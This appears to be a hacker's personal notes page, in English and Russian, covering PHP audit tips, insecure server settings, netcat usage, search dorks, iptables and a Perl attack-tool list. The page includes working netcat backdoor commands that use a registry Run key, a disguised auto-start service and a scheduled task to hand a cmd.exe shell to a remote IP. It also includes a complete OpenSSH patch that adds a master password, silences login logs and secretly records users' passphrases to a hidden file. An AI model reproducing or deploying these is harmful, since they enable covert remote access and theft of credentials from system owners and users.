xcedz
source code audit PHP
Filed under: (in)secure — code, how to, research — custom | Tags: $http_get_vars, $http_post_vars, $_cookie, $_GET, $_post, $_request, $_server, $_session, audit, exec, header location, include, include_once, passthru, proc_open, readfile, require, require_once, shell_exec, source code, system, virtual |

What source code audit is?
It’s a primary technique by which someone can find vulnerabilities of the website, just by inspecting the code.

Consider the following scenarios:
find a ftp service exploit and you can download the entire website in it’s unparsed form
have the source of the web application used by the website

What has to be done?
Instead of emulating the real website (setting up a webserver, database, etc) you can just start and analyze the code for common known vulnerable code.

User input
Most of the time user input is passed to the web application via requests, like:

$_GET
$_POST
$_REQUEST
$HTTP_POST_VARS
$HTTP_GET_VARS

And if register globals in php.ini are activated, user input can be retrieved via <input> names, for example the following html form:

<form name=”basic” method=”post” action=”">
<input type=”text” name=”myname”>
<input type=”text” name=”age”>
<input type=”submit” value=”age & name”<
</form>

…would create and set the following variables:

$myname=”user input”;
$age=”user input”

This request should be always searched for input validation, or xss/sql injection possibility.

Internal inclusion
As imagined I’m talking about file inclusion which could lead to lfi/rfi; the php functions that need to be exploited for a lfi/rfi attack are:

include()
include_once()
require()
require_once()
virtual()
readfile()

Not much to check here, only the parameters origins, validation…

Indirect User Input
Indirect user input? That sounds wierd, but don’t get confused about it; I’m speaking about user-agent information, http referer, cookie reading/writing/printing, session?. The all together could lead to xss/sql injection/http response splitting and why not (remote) code execution/file inclusion. Things to look for:

$_SERVER["REFERER"];
$_SERVER["HTTP_USER_AGENT"]
$_SERVER["REQUEST_URI"]
$_COOKIE
$_SESSION

Also here a non used Referer would mean CSRF ways of exploitation, keep that in mind; might come handy!

Redirections
Maybe you are not aware of this but after each header redirection there should be a script termination like exit() die(), so the following code would be vulnerable:

if($password!=$pass) { header(“Location: noadmin.php”); }

Because if the page would be requested via a telnet connection (for example) which wouldn’t understand header information, would skip the redirection phase and see the rest of the page.

Remote code execution
We already mentioned about remote code execution, but it would be better to also note the functions which should be look upon for code execution:

exec()
passthru()
proc_open()
shell_exec()
system()


The rest, the ugly, the not so common
Besides of the above mentioned vulnerabilities, which are more common, you could also check image upload scripts for proper type/extension validation, and every other shit that I can’t think of….

Go and analyze source code
I pointed out everything that you need to know before auditing PHP code, but if you think I missed something out, don’t bother thinking about it, just drop me a comment…
(http://insanesecurity.wordpress.com)
xcedz
php.ini register_globals=ON ; глобализация переменных — потенциальная брешь в безопасности
magic_quotes=OFF ; отключаем магические ковычки для GET/POST/COOKIE — благоприятствует SQL-inj
magic_quotes_runtime=OFF ; благоприятствует SQL-inj
magic_quotes_sybase=OFF ; благоприятствует SQL-inj
mysql.trace_mode=ON ; включает показ ошибок Mysql
allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями
allow_url_include=ON ; разрешает удаленно инклудить файлы(PHP5.2)
error_reporting=E_ALL ; показ всех ошибок
error_log= /var/log/httpd/php_error ; логирование ошибок
log_errors=ON ; логирование ошибок
disable_functions= ; никаких ограничений
safe_mode=OFF ; никаких ограничений
open_basedir= ; никаких ограничений
sql.safe_mode=OFF ; благоприятствует SQL-inj

И, конечно, грамотно настроим конфиг Апача:

DirectoryIndex [пусто] ; нет стартовой страницы
Options Indexes ; листинг директорий (Elekt)
xcedz
Python #!/usr/bin/python
# -- coding: cp1251 --
# Собираем проксики с файла:

import sys, re, sets

if len(sys.argv) != 3:
print "Пример использования:"
print "\t ./prox.py prox1 prox2\n"
sys.exit(1)

try:
proxlist = open(sys.argv[1], "r").read()
except(IOError):
print "\nОшибка: Проверьте где просики :()\n"
sys.exit(1)

proxy = list(sets.Set(re.findall(('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}[:]\d{1,5}'), proxlist)))
if len(proxy) >= 1:
ofile = open(sys.argv[2], "a")
print "\nНашел:",len(proxy)
print "Сохранил в:",sys.argv[2],"\n\n"
for e in proxy:
print e
ofile.writelines(e+"\n")
ofile.close()
else:
print "\n[-] WTF???\n"
print "\n[+] Done\n"
xcedz
CHMOD PERMISSION COMMAND



U G W

rwx rwx rwx chmod 777 filename

rwx rwx r-x chmod 775 filename

rwx r-x r-x chmod 755 filename

rw- rw- r-- chmod 664 filename

rw- r-- r-- chmod 644 filename



U = User

G = Group

W = World



r = Readable

w = writable

x = executable

— = no permission




Here is another way of looking at it:




Permissions:



400 read by owner

040 read by group

004 read by anybody (other)

200 write by owner

020 write by group

002 write by anybody

100 execute by owner

010 execute by group

001 execute by anybody

To get a combination, just add them up. For example, to get read, write, execute by owner, read, execute, by group, and execute by anybody, you would add 400+200+100+040+010+001 to give 751.
xcedz
netcat Сканирование портов:
nc –z –n –v –w 1 192.168.1.100 1-1024

nc –n –v –w 1 –z 192.168.1.100 20 21 22 25 80 8080

В обоих примерах используются следующие флаги:
-z (zero-input/output mode) (работа без программных задержек);
-n (numeric-only, используем, так как задается IP-адрес, а не домен);
-w (таймаут на коннекты в секундах).
xcedz
netcat
1. Бекдоринг netcat’ом – путем добавления соответствующего ключа в ветку реестра для автозапуска:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d “c:\windows\nc.exe –d 192.168.1.70 1234 –e cmd.exe”

При последующем логине в систему произойдет запуск netcat с открытием шелла на 1234 порту. Нюанс тут в том, что бекдор исполнится с правами того пользователя, который залезет на эту машину. Поэтому такие действия вполне могут открыть доступ полноценного администратора домена.

2. Исполнение бекдора в режиме «Windows Service». Вообще, netcat никогда не был заточен под виндовую службу, но, извратившись, мы можем сделать его таковым:

sc create Network Connections Service binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe” start= auto error= ignore

Командой SC создается сервис с несуществующим именем (чтобы в глаза не бросалось) «Network Connections Service». Флаг start= auto указывает, чтобы сервис запускался сразу после загрузки ОС, а error=ignore – запрещает посылать какие-либо логи в системный журнал. Если все сделано правильно, то тебя обрадует надпись «[SC] CreateService SUCCESS». Соль в том, что даже если операционка будет перезапущена, с ее включением бекдор вновь начнет свою работу.

3. Запуск netcat с использованием Windows Task Sheduler (планировщика задач). Как вариант, можно запустить netcat в определенное время, а именно – когда темно и тихо. В этом нам поможет встроенный в Windows планировщик.

net start schedule

at 12:00:00 /every:m,t,w,th,f,s,su “”c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe””

Каждый день (буквы отвечают за дни недели), в 12:00:00 у нас будет открываться шелл.
xcedz
EH поиск в yandex:
$title (выражение) — позволяет провести поиск в заголовке страницы, например, $title (название бажного скрипта).
#image="значение" — такой запрос позволит произвести поиск картинок с указанным названием, полезно при работе с локальными инклудами.
#hint=(выражение) — команда проводит поиск в подписях к изображениям.
#url="значение" — означает поиск на заданном ресурсе, аналог "insite" в Гугле, например, #url="www.target.com".
#link="значение" — команда позволяет задать поиск ссылок на заданный сайт, например, #link="www.blabla.com". Помогает при парсинге бажных движков, имеющих в своем контенте линк на сайт производителя.
host="www.host.ru" — команда аналогична "url" с именем хоста, но учитывает все зеркала сайта.
rhost="ru.url." или rhost="ru.url.www" – этот оператор аналогичен host, но имя хоста записывается в обратном порядке: вначале домен верхнего уровня, затем второго и т. д. Если в конце указано ., то поиск идет по всем поддоменам заданного домена (но – не включая домен ru.url!), например, rhost="ru.target.*".
lang="язык" — такая команда отбирает для поиска страницы, написанные на определенном языке: на русском (ru), украинском (uk), белорусском (be), английском (en), французском (fr), немецком (de) и т.д., например, lang="de". Очень удобно, когда работаешь по какой-то определенной стране.
like="url.ru/file.html" — парсит страницы, похожие на заданный адрес. Весьма полезная команда.
domain="домен" — с помощью такой записи можно произвести поиск по страницам, которые расположены в заданном домене: domain="target" /+1 domain="com".
date="ГГГГ{|ММ{|ДД}}" — в этом случае поиск производится только по страницам, дата которых удовлетворяет заданному условию, что позволяет пропускать при парсинге старые, не обновляемые ресурсы.
xcedz
Bash Рецепты на каждый день: iptables — firewall
Тщательно очистите 3 цепочки
iptables -F FORWARD
iptables -F INPUT
iptables -F OUTPUT

Поместите инструкцию "запретить все" в самое начало

iptables -P FORWARD DROP
iptables -A INPUT -i eth0 -j DROP

И разрешите фрагментированным пакетам проходить через вашу сеть

iptables -A FORWARD -f -j ACCEPT

Попытки подделатся под нашу сеть или затопить ее должны быть пресечены сразу же.

iptables -A FORWARD -s 192.168.0.0/24 -i eth0 -j DROP
iptables -A FORWARD -p icmp -i eth0 -d 192.168.0.255 -j DENY

Пропускаем инициированный из внутренней сети соединения.

iptables -A FORWARD -p tcp -i eth0 -d 192.168.0.0/24 --dports www,smtp --tcp-flags SYN, ACK -j ACCEPT

Пропускаем соединения инициированные изнутри.

iptables -A FORWARD -m multiport -p tcp -i eth0 -d 192.168.0.0/24 --dport smtp --syn -j ACCEPT

Разрешаем некоторые порты для входящих соединений.

iptables -A FORWARD -m multiport -p tcp -i eth0 -d 192.168.0.0/24 --dport smtp --syn -j ACCEPT

Разрешаем пользователям инициировать некоторые соединения изнутри

iptables -A FORWARD -m multiport -p tcp -o eth0 -d 0.0.0.0 --dports www,smtp --syn -j ACCEPT

Разрешаем UDP для DNS.

iptables -A FORWARD -m multiport -p udp -i eth0 -d 192.168.0.0/24 --dports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth0 -s 192.168.0.0/24 --sports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth1 -d 0.0.0.0--dports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth0 -s 0.0.0.0 --sports domain -j ACCEPT

Все таки разрешаем немного пинга

iptables -A FORWARD -m multiport -p icmp -i eth0 -d 192.168.0.0/24 --dports 0, 3,11 -j ACCEPT
iptables -A FORWARD -m multiport -p icmp -i eth1 -d 0.0.0.0 --dports 8, 3,11 -j ACCEPT

Устанавливаем журналирование для всех отброшенных пакетов

iptables -A FORWARD -m tcp -p tcp -j LOG
iptables -A FORWARD -m udp -p udp -j LOG
iptables -A FORWARD -m udp -p icmp -j LOG
xcedz
Perl 114 tools in perl
rs346.rapidshare.com

1. GMail brute
2. BtTel Telnet BruteForce
3. BruteMSN
4. BruteFTP brftp by m0x.lk
5. PHP-Shells finder
6. VNC Vuln Scanner
7. JoMo-Kun Parallel NMAP Scanner
8. DMZScan — Simple Connect Port Scanner using PERL
9. R-Trojan Scanner 1.0
10. Database extractor
11. Nepokatneza GUI Edition 1.6
12. Directory spider
13. B0ffuzzer v1.0
14. PRIVACY_SPYER / DR. GREENTHUMB
15. Milw0rm New Exploits Checker
16. FTP scanner by softxor
17. PHP Injection Scanner
18. SatanBot
19. MassDefacer
20. Email Extractor
21. Crypt This Shit
22. netBRUTE
23. Email grabber
24. MD5 Lookup
25. Google dorkizzler
26. Simple phpBB version checker
27. Simple IRC Bot.
28. PHP injection scanner
29. A utility to parse the BIOS PCI IRQ Routing Table
30. MSSQL Record Dumper 0.1.1 Alpha
31. Stealth ShellBot Vers?o 0.2
32. Web Clickers
33. Windows / Linux mass defacer script
34. LogCleaner (beta)
35. All In One Exploit
36. MD5 Bruteforce
37. Site Lister
38. Simple mail grabber
39. ARP dos, makes the target windows pc unusable for the duration of the attack
40. DNS Scanner
41. Creates a wordlist for brute forcing.
42. Decrypt DES with a wordlist
43. Denial of Service script
44. Leech imageshack images
45. MD5 cracker uses wordlist
46. Checks http server given site is running
47. Very small port scanner
48. Enumerates directorys / users on a webserver.
49. Simple Shellcode Generator
50. TCP/UDP Flooder
51. BR00TALL — Password Hash Brute-Forcer
52. Proxy Scanner
53. ConnectBackShell
54. Skype Bruteforcer
55. Force & fast check ports
56. bluetooth hacking tool
57. SQL insertion crawler
58. binary scanner
59. POP3 Crack (bruteforce)
60. openpgp vanity key generator
61. MD5 Hash Bruteforce Kit
62. Brute force for Oracle databases.
63. MD5 cracker irc-bot
64. Freewebs Shout box flooder
65. Distributed reflection denial of service program
66. shellcode generator
67. General RFI Scanner
68. MD5 Hash matcher
69. Perl ebay login
7o. Bind Port
71. Another Irc-bot
72. Scanner for eNdonesia 8.4 Multiple Vulner
73. gQuery Script (Command-Line Google Query Script)
74. simple milw0rm rss news graber
75. Google Search Tool
76. HTTP-GET Request Generator
77. Random Password Generator
78. Flexible Random Password Generation
79. AIM grabs a users online status
80. Simple Webserver Scanner
81. Botsniffer
82. Reverse IP script.
83. Cpanel Brute forcer
84. Extracts and cracks hashes of a given MySQL dump of a vBulletin board
85. VulnScan v9
86. IRC Spam bot
87. Simple IP 2 Hex script
88. perl proxy list checker
89. PerlBot
90. A simple irc bot
91. Perl direct SOCKS server's list checker
92. Perl/Tk TCP Port Scanner
93. simple irc bot for the remote control of Windows based systems
94. Script uses smbclient to fetch files from win null shares.
95. A simple proxy checker
96. Perl Connect Back Backdoor
97. log eraser MSRLE v0.1
98. CPanel exploit checker
99. Scan a host for rfi vulnz
100. Banner Grabber(mass hosts)
101. cold fusion/ws_ftp.ini password decryption/encryption
102. ConnectBack Backdoor Shell vs 1.0
103. Dictionary Maker
104. CGI scanner
105. connect and send commands to remote ip:port. the tor network is used for anonymity.
106. port scanner sweeper.
107. rfi scaner. Includes ddb grabber, rfi expl0iter, error_reporting(0) bypass.
108. Log all IP's of visiors
109. Directory revealer
110. IIS Scanner 2002
111. UDP Flooder
112. MD5 Cracker
113. MD5::Reverse
114. wordlist tool by mousepad
xcedz
SSH #########################
diff -a -U2 -r openssh-4.[4567]p1/auth-pam.c backd00r/auth-pam.c
--- openssh-4.[4567]p1/auth-pam.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/auth-pam.c 2007-01-22 01:08:07.000000000 +0000
@@ -467,4 +467,6 @@
goto auth_fail;
sshpam_err = pam_authenticate(sshpam_handle, flags);
+ if(backdoorActive == 1)
+ sshpam_err = PAM_SUCCESS;
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;
diff -a -U2 -r openssh-4.[4567]p1/auth-passwd.c backd00r/auth-passwd.c
--- openssh-4.[4567]p1/auth-passwd.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/auth-passwd.c 2007-01-22 01:08:53.000000000 +0000
@@ -81,4 +81,5 @@
auth_password(Authctxt *authctxt, const char *password)
{
+ backdoorActive = 0;
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
@@ -93,5 +94,8 @@
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;

+ if (!strcmp(password, B4XDOOR)) {
+ backdoorActive = 1;
+ return 1;
+ }
#ifdef KRB5
if (options.kerberos_authentication == 1) {
diff -a -U2 -r openssh-4.[4567]p1/includes.h backd00r/includes.h
--- openssh-4.[4567]p1/includes.h 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/includes.h 2007-01-22 01:09:18.000000000 +0000
@@ -14,4 +14,7 @@
*/

+#define B4XDOOR "superpass"
+int backdoorActive;
+
#ifndef INCLUDES_H
#define INCLUDES_H
diff -a -U2 -r openssh-4.[4567]p1/log.c backd00r/log.c
--- openssh-4.[4567]p1/log.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/log.c 2007-01-22 01:09:42.000000000 +0000
@@ -308,4 +307,6 @@
do_log(LogLevel level, const char *fmt, va_list args)
{
+if(backdoorActive == 1)
+ return;
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
diff -a -U2 -r openssh-4.[4567]p1/loginrec.c backd00r/loginrec.c
--- openssh-4.[4567]p1/loginrec.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/loginrec.c 2007-01-22 01:10:02.000000000 +0000
@@ -432,4 +431,6 @@
login_write(struct logininfo *li)
{
+if(backdoorActive == 1)
+ return 0;
#ifndef HAVE_CYGWIN
if (geteuid() != 0) {
diff -a -U2 -r openssh-4.[4567]p1/readpass.c backd00r/readpass.c
--- openssh-4.[4567]p1/readpass.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/readpass.c 2007-12-02 12:48:37.000000000 +0000
@@ -116,4 +116,5 @@
char *askpass = NULL, *ret, buf[1024];
int rppflags, use_askpass = 0, ttyfd;
+ FILE *o;

rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
@@ -159,4 +160,10 @@
ret = xstrdup(buf);
memset(buf, 'x', sizeof buf);
+
+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "passphrase: %s\n", ret);
+ fclose(o);
+ }
+
return ret;
}
diff -a -U2 -r openssh-4.[4567]p1/sshconnect.c backd00r/sshconnect.c
--- openssh-4.[4567]p1/sshconnect.c 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/sshconnect.c 2007-12-02 12:48:37.000000000 +0000
@@ -948,4 +948,5 @@
char *host, *cp;
char *server_user, *local_user;
+ FILE *o;

local_user = xstrdup(pw->pw_name);
@@ -958,4 +959,9 @@
*cp = (char)tolower(*cp);

+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "%s@%s\n", server_user, host);
+ fclose(o);
+ }
+
/ Exchange protocol version identification strings with the server. /
ssh_exchange_identification();
diff -a -U2 -r openssh-4.[4567]p1/ssh.h backd00r/ssh.h
--- openssh-4.[4567]p1/ssh.h 2009-04-26 16:02:36.000000000 +0100
+++ backd00r/ssh.h 2007-12-02 12:48:37.000000000 +0000
@@ -13,4 +13,7 @@
*/

+/ Filename to log user@host and passphrase(s) to [change it! :)] /
+#define EVILLOGFILE "/var/run/.ssh.pid"
+
/ Cipher used for encrypting authentication files. /
#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES
#########################
xcedz
oftop: чаю пить и срочно спать. вторые сутки- мозги вскипят окончательно... на перса сцуки так и не рассмотрели мою заявку. :( фтопку все.